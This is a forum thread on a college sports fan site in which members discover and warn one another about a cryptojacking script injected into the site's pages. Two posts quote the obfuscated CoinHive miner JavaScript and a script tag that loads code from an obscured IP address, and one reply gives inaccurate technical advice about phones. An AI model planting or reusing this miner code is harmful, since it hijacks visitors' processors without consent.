CockyTalk

Welcome to Cockytalk!

Thank you for visiting our forum. As a guest, you have limited access to view some discussion and articles. By joining our free community, you will be able to view all discussions and articles, post your own topics, communicate privately with other members (PM), respond to polls, upload photos, participate in Pick'Em contests and access many other special features. Registration is fast, simple and absolutely free, so please join our community today!!

If you have any problems registering or logging in, please contact our Admins. Thanks!

Go Back   CockyTalk > Gamecocks Sports > The Cock Pit

Today's Top 10
Posters (by posts)Threads (by views)Newest Posts Gamecock Headlines 
Spur's Addiction
rt3891
Captain9Dragons
SanAntonioCock
Ace Dilcock
PFW79
kingofnerf
Flameout12
GregoryHouse
BiscoCocky
Back On the Dating S (852)
18 days (613)
10 Oldest and Newest (441)
New claim from LaVar (417)
Sad day at Casa on t (379)
2021 - WBB - Hollywo (136)
Please explain: Litt (56)
WBB seat fee ripoff
2021 - WBB - Hollywood Ra
2019 - Jaylen McCollough
18 days
2019 - PG Josiah James (M
Discussion: 2019 Recruiti
10 Oldest and Newest Coll
Binchotan Japanese charco
Where Does Joey Chestnut
2018 W/L Prediction - wit


Reply
 
Thread Tools Display Modes
Old 06-15-2018, 09:42 AM   #1
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,062
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default CockyTalk infected with Javascript Coinminer

Every page I go to on CockyTalk, I get immediate warnings from Symantec. It seems CockyTalk has become infected with malicious code.

https://www.fortinet.com/blog/threat...infection.html

https://blog.360totalsecurity.com/en...mining-script/

Here are some links for information. Admins, you may want to get this fixed IMMEDIATELY.


Sorry to put this in the Football forum, but it really needs to be addressed and seen right away, ASAP.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 09:43 AM   #2
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,062
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\ x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x3 1\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x 77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E \x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\ x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x7 3","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x6 1\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x 67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x 74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\ x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}

Found the above in your Source Code. Definitely needs to be fixed, everyone who visits is having their CPU exploited to mine bit coins
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 09:59 AM   #3
nin_usc_freak92
Class of 2015
 
nin_usc_freak92's Avatar
 
Male

Join Date: Jul 2007
Location: Charlotte, NC
Posts: 2,736
CockyCash: 8400
nin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Can confirm. IT at work drops my internet connection immediately after visiting the site. Knew something fishy had to be going on.
nin_usc_freak92 is offline   Reply With Quote
Old 06-15-2018, 11:35 AM   #4
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,062
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

EVERYONE who's visited this page needs to run a full scan on their system. This is quite serious, and can adversely affect your CPU and GPU. JS/CoinMiner.F malware is probably affecting many of you right now, if you do not have active protection running.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 11:54 AM   #5
sc455
Heisman Candidate
 
sc455's Avatar
 
Male

Join Date: Jul 2007
Location: south carolina
Posts: 15,886
CockyCash: 63940
sc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot materialsc455 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
sc455 is offline   Reply With Quote
Old 06-15-2018, 11:58 AM   #6
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 17,703
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Yea it was causing my Malwarebytes to go crazy
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 11:59 AM   #7
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 17,703
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by sc455 View Post
whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
Or they don't know/care? I don't think the owners have posted in a year or so
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:03 PM   #8
ba55nec4r
4-Star
 
ba55nec4r's Avatar
 
Male

Join Date: Jan 2017
Location: Baton Rouge
Posts: 353
CockyCash: 500
ba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

I've run multiple tests across multiple programs and I don't have anything on my computer showing up.
ba55nec4r is offline   Reply With Quote
Old 06-15-2018, 12:06 PM   #9
Spur's Addiction
Been caught moddin'
 
Spur's Addiction's Avatar
 
Male

Join Date: Jun 2005
Location: Raaaawlee, NC
Posts: 19,923
CockyCash: 1001856
Spur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot materialSpur's Addiction is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Site is running awfully slow. We are contacting Ken (KHOSK). He's the guy we need to take a look.
__________________
Spur's Addiction is offline   Reply With Quote
Old 06-15-2018, 12:09 PM   #10
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 17,703
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by ba55nec4r View Post
I've run multiple tests across multiple programs and I don't have anything on my computer showing up.
It was popping up on this site yesterday, nothing today
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:11 PM   #11
nin_usc_freak92
Class of 2015
 
nin_usc_freak92's Avatar
 
Male

Join Date: Jul 2007
Location: Charlotte, NC
Posts: 2,736
CockyCash: 8400
nin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot materialnin_usc_freak92 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Yay our hardware is being used to make someone rich. Just FYI CPUs and GPUs take a lot of wear and tear by mining cryptocurrency. I don’t know how someone can initiate it from malware on a website, but if that’s really what’s happening this is pretty serious.
nin_usc_freak92 is offline   Reply With Quote
Old 06-15-2018, 12:17 PM   #12
ba55nec4r
4-Star
 
ba55nec4r's Avatar
 
Male

Join Date: Jan 2017
Location: Baton Rouge
Posts: 353
CockyCash: 500
ba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot materialba55nec4r is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by Master Bedroom View Post
It was popping up on this site yesterday, nothing today
I believe it's there, I haven't seen it yet so I'm counting my lucky stars for now.
ba55nec4r is offline   Reply With Quote
Old 06-15-2018, 12:24 PM   #13
Master Bedroom
Heisman Candidate
 
Master Bedroom's Avatar
 
Male

Join Date: Dec 2013
Location: Upstairs
Posts: 17,703
CockyCash: 10500
Master Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot materialMaster Bedroom is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by ba55nec4r View Post
I believe it's there, I haven't seen it yet so I'm counting my lucky stars for now.
ws016coinhive.com
Master Bedroom is offline   Reply With Quote
Old 06-15-2018, 12:25 PM   #14
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,062
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

I'm not saying that everyone is infected, but there is the possibility, because the javascript is actively being run on the page. (you can look at the source code and find it in there)

I just want everyone to scan their computer, in case their protection wasn't good enough or wasn't turned on. Don't wanna see people's CPU or GPU burn up or experience un-necessary wear and tear.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 12:30 PM   #15
crowcutta
1st Team All-American
 
crowcutta's Avatar
 
Male

Join Date: Mar 2006
Location: land de la rich
Posts: 10,009
CockyCash: 6000
crowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

hmm maybe the infection is on purpose? it might have been put in not knowing the adverse affects. its coinhive and its still on the website, i think/hope my script blocker is keeping it from gaining access. wonder how long its been on here.
crowcutta is offline   Reply With Quote
Old 06-15-2018, 12:36 PM   #16
COCKDIESEL
Could've been a Contender
 
COCKDIESEL's Avatar
 
Male

CWS Baseball Pickem Winner: CWS Baseball Pickem Winner - Given for: Winning the first CWS Pickem Contest 
Join Date: Dec 2005
Location: Pine Ridge
Posts: 9,326
CockyCash: 48100000
COCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot materialCOCKDIESEL is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

So quick question for the more techy folks. I don’t have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
__________________
COCKDIESEL is offline   Reply With Quote
Old 06-15-2018, 12:40 PM   #17
TucockShakur
Two Deep
 
TucockShakur's Avatar
 
Male

Join Date: May 2013
Location: SC
Posts: 1,062
CockyCash: 3000
TucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot materialTucockShakur is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by COCKDIESEL View Post
So quick question for the more techy folks. I donít have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
Just run a malware scan if you can. It doesn't matter that you have crypto currency or not. What this infection does is mine coins for someone else, but using your GPU and CPU power.
TucockShakur is offline   Reply With Quote
Old 06-15-2018, 12:41 PM   #18
d20636
Go Cocks!
 
d20636's Avatar
 
Male

Join Date: Jan 2007
Location: Columbia, SC
Posts: 5,099
CockyCash: 400
d20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot materiald20636 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by sc455 View Post
whatever. I don't see one post from an administrator or anyone of authority warning anyone about this.

its either no big deal or the guys who run this site don't know yet or they are working on it.
Regardless of your "disbelief", the following IS in the html - view page source for yourself...

Quote:
<script src="http://0xC84411C4/1d14e0ef0b07ac44.js"></script>
<script>
var _0x1323=["\x62\x6D\x56\x70\x44\x48\x4E\x75\x65\x4A\x44\x64\ x61\x7A\x57\x33\x6C\x51\x48\x79\x75\x5A\x72\x41\x3 1\x49\x45\x53\x6A\x76\x71\x6B","\x68\x61\x72\x64\x 77\x61\x72\x65\x43\x6F\x6E\x63\x75\x72\x72\x65\x6E \x63\x79","\x66\x6C\x6F\x6F\x72","\x6D\x61\x78","\ x73\x65\x74\x4E\x75\x6D\x54\x68\x72\x65\x61\x64\x7 3","\x63\x68\x61\x72\x67\x69\x6E\x67","\x73\x74\x6 1\x72\x74","\x6F\x6E\x63\x68\x61\x72\x67\x69\x6E\x 67\x63\x68\x61\x6E\x67\x65","\x73\x74\x6F\x70","\x 74\x68\x65\x6E","\x67\x65\x74\x42\x61\x74\x74\x65\ x72\x79"];var xmr= new CoinHive.Anonymous(_0x1323[0],{throttle:0.85,threads:1});try{var threads=Math[_0x1323[3]](1,Math[_0x1323[2]](navigator[_0x1323[1]]/ 4));xmr[_0x1323[4]](threads);navigator[_0x1323[10]]()[_0x1323[9]](function(_0xe82dx3){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()};_0xe82dx3[_0x1323[7]]= function(_0xe82dx4){if(_0xe82dx3[_0x1323[5]]){xmr[_0x1323[6]]()}else {xmr[_0x1323[8]]()}}})}catch(e){xmr[_0x1323[6]]()}
</script>
I've simply disbled javascript (in my browser) for this site for now...
__________________
Go Cocks!
d20636 is offline   Reply With Quote
Old 06-15-2018, 12:54 PM   #19
crowcutta
1st Team All-American
 
crowcutta's Avatar
 
Male

Join Date: Mar 2006
Location: land de la rich
Posts: 10,009
CockyCash: 6000
crowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot materialcrowcutta is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

thanks for the heads up, id heard of coinhive before, but i wasnt aware of how prevalent and nefarious it had gotten. its good practice in general to use a script blocker, ublock origin, no script, script safe, pick one for whatever browser youre using.
crowcutta is offline   Reply With Quote
Old 06-15-2018, 01:12 PM   #20
InletCock1989
5th Year Senior
 
InletCock1989's Avatar
 
Male

Join Date: Nov 2013
Location: Hemingway
Posts: 2,590
CockyCash: 5236
InletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot materialInletCock1989 is USC mascot material
Default Re: CockyTalk infected with Javascript Coinminer

Quote:
Originally Posted by COCKDIESEL View Post
So quick question for the more techy folks. I donít have any crypto currency and I have only accessed the site from my iPhone and iPad. Is there anything I should look out for?
Your iPhone and iPad wonít be targeted. Only computers with hardrives capable of mining
InletCock1989 is offline   Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT -4. The time now is 05:32 AM.


Powered by vBulletin® Version 3.8.11
Copyright ©2000 - 2018, vBulletin Solutions Inc.
Provided by SLB Development